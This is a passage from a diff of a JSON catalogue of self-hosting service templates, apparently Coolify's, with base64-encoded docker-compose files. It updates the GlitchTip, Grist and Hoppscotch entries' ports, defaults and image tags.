3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", "tags": [ "error", "tracking", - "open-source", - "self-hosted", "sentry" ], "category": "monitoring", "logo": "svgs/glitchtip.png", "minversion": "0.0.0", - "port": "8080" + "port": "8000" }, "glpi": { "documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io", @@ -1893,7 +1891,7 @@ "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", - "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfNDQzCiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0FQUF9ET0NfVVJMPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSAnR1JJU1RfU1VQUE9SVF9BTk9OPSR7U1VQUE9SVF9BTk9OOi1mYWxzZX0nCiAgICAgIC0gJ0dSSVNUX0ZPUkNFX0xPR0lOPSR7Rk9SQ0VfTE9HSU46LXRydWV9JwogICAgICAtICdDT09LSUVfTUFYX0FHRT0ke0NPT0tJRV9NQVhfQUdFOi04NjQwMDAwMH0nCiAgICAgIC0gJ0dSSVNUX1BBR0VfVElUTEVfU1VGRklYPSR7UEFHRV9USVRMRV9TVUZGSVg6LSAtIFN1ZmZpeH0nCiAgICAgIC0gJ0dSSVNUX0hJREVfVUlfRUxFTUVOVFM9JHtISURFX1VJX0VMRU1FTlRTOi1iaWxsaW5nLHNlbmRUb0RyaXZlLHN1cHBvcnRHcmlzdCxtdWx0aUFjY291bnRzLHR1dG9yaWFsc30nCiAgICAgIC0gJ0dSSVNUX1VJX0ZFQVRVUkVTPSR7VUlfRkVBVFVSRVM6LWhlbHBDZW50ZXIsYmlsbGluZyx0ZW1wbGF0ZXMsY3JlYXRlU2l0ZSxtdWx0aVNpdGUsc2VuZFRvRHJpdmUsdHV0b3JpYWxzLHN1cHBvcnRHcmlzdH0nCiAgICAgIC0gJ0dSSVNUX0RFRkFVTFRfRU1BSUw9JHtERUZBVUxUX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnR1JJU1RfT1JHX0lOX1BBVEg9JHtPUkdfSU5fUEFUSDotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX09JRENfU1BfSE9TVD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVH0nCiAgICAgIC0gJ1RZUEVPUk1fUE9SVD0ke1RZUEVPUk1fUE9SVDotNTQzMn0nCiAgICAgIC0gJ1RZUEVPUk1fTE9HR0lORz0ke1RZUEVPUk1fTE9HR0lORzotZmFsc2V9JwogICAgICAtICdSRURJU19VUkw9JHtSRURJU19VUkw6LXJlZGlzOi8vcmVkaXM6NjM3OX0nCiAgICAgIC0gJ0dSSVNUX0hFTFBfQ0VOVEVSPSR7U0VSVklDRV9GUUROX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX0ZRRE49JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L3Rlcm1zJwogICAgICAtICdGUkVFX0NPQUNISU5HX0NBTExfVVJMPSR7RlJFRV9DT0FDSElOR19DQUxMX1VSTH0nCiAgICAgIC0gJ0dSSVNUX0NPTlRBQ1RfU1VQUE9SVF9VUkw9JHtDT05UQUNUX1NVUFBPUlRfVVJMfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0LWRhdGE6L3BlcnNpc3QnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5vZGUKICAgICAgICAtICctZScKICAgICAgICAtICJyZXF1aXJlKCdodHRwJykuZ2V0KCdodHRwOi8vbG9jYWxob3N0Ojg0ODQvc3RhdHVzJywgcmVzID0+IHByb2Nlc3MuZXhpdChyZXMuc3RhdHVzQ29kZSA9PT0gMjAwID8gMCA6IDEpKSIKICAgICAgICAtICc+IC9kZXYvbnVsbCAyPiYxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREFUQUJBU0U6LWdyaXN0LWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6NycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK", + "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfODQ4NAogICAgICAtICdBUFBfSE9NRV9VUkw9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9QT1JUPSR7VFlQRU9STV9QT1JUOi01NDMyfScKICAgICAgLSAnVFlQRU9STV9MT0dHSU5HPSR7VFlQRU9STV9MT0dHSU5HOi1mYWxzZX0nCiAgICAgIC0gJ1JFRElTX1VSTD0ke1JFRElTX1VSTDotcmVkaXM6Ly9yZWRpczo2Mzc5fScKICAgICAgLSAnR1JJU1RfSEVMUF9DRU5URVI9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L2hlbHAnCiAgICAgIC0gJ0dSSVNUX1RFUk1TX09GX1NFUlZJQ0VfRlFETj0ke1NFUlZJQ0VfRlFETl9HUklTVH0vdGVybXMnCiAgICAgIC0gJ0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkw9JHtGUkVFX0NPQUNISU5HX0NBTExfVVJMfScKICAgICAgLSAnR1JJU1RfQ09OVEFDVF9TVVBQT1JUX1VSTD0ke0NPTlRBQ1RfU1VQUE9SVF9VUkx9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3QtZGF0YTovcGVyc2lzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gInJlcXVpcmUoJ2h0dHAnKS5nZXQoJ2h0dHA6Ly9sb2NhbGhvc3Q6ODQ4NC9zdGF0dXMnLCByZXMgPT4gcHJvY2Vzcy5leGl0KHJlcy5zdGF0dXNDb2RlID09PSAyMDAgPyAwIDogMSkpIgogICAgICAgIC0gJz4gL2Rldi9udWxsIDI+JjEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=", "tags": [ "lowcode", "nocode", @@ -1904,7 +1902,7 @@ "category": "productivity", "logo": "svgs/grist.svg", "minversion": "0.0.0", - "port": "443" + "port": "8484" }, "grocy": { "documentation": "https://github.com/grocy/grocy?utm_source=coolify.io", @@ -2032,7 +2030,7 @@ "hoppscotch": { "documentation": "https://docs.hoppscotch.io?utm_source=coolify.io", "slogan": "The Open Source API Development Platform", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9IT1BQU0NPVENIXzgwCiAgICAgIC0gJ1ZJVEVfQUxMT1dFRF9BVVRIX1BST1ZJREVSUz0ke1ZJVEVfQUxMT1dFRF9BVVRIX1BST1ZJREVSUzotR09PR0xFLEdJVEhVQixNSUNST1NPRlQsRU1BSUx9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QGhvcHBzY290Y2gtZGI6NTQzMi8ke1BPU1RHUkVTX0RCfScKICAgICAgLSAnREFUQV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X0RBVEFFTkNSWVBUSU9OS0VZfScKICAgICAgLSAnV0hJVEVMSVNURURfT1JJR0lOUz0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kLCR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9LCR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTPSR7TUFJTEVSX1VTRV9DVVNUT01fQ09ORklHUzotdHJ1ZX0nCiAgICAgIC0gJ1ZJVEVfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfU0hPUlRDT0RFX0JBU0VfVVJMPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX0FETUlOX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9hZG1pbicKICAgICAgLSAnVklURV9CQUNLRU5EX0dRTF9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfV1NfVVJMPXdzczovLyR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX0FQSV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC92MScKICAgICAgLSAnVklURV9BUFBfVE9TX0xJTks9aHR0cHM6Ly9kb2NzLmhvcHBzY290Y2guaW8vc3VwcG9ydC90ZXJtcycKICAgICAgLSAnVklURV9BUFBfUFJJVkFDWV9QT0xJQ1lfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3ByaXZhY3knCiAgICAgIC0gRU5BQkxFX1NVQlBBVEhfQkFTRURfQUNDRVNTPXRydWUKICAgIGRlcGVuZHNfb246CiAgICAgIGRiLW1pZ3JhdGlvbjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfY29tcGxldGVkX3N1Y2Nlc3NmdWxseQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBob3Bwc2NvdGNoLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotaG9wcHNjb3RjaH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGRiLW1pZ3JhdGlvbjoKICAgIGV4Y2x1ZGVfZnJvbV9oYzogdHJ1ZQogICAgaW1hZ2U6ICdob3Bwc2NvdGNoL2hvcHBzY290Y2g6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hPUFBTQ09UQ0hfODAKICAgICAgLSAnVklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTPSR7VklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTOi1HT09HTEUsR0lUSFVCLE1JQ1JPU09GVCxFTUFJTH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREJ9JwogICAgICAtICdEQVRBX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfREFUQUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdXSElURUxJU1RFRF9PUklHSU5TPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2Jh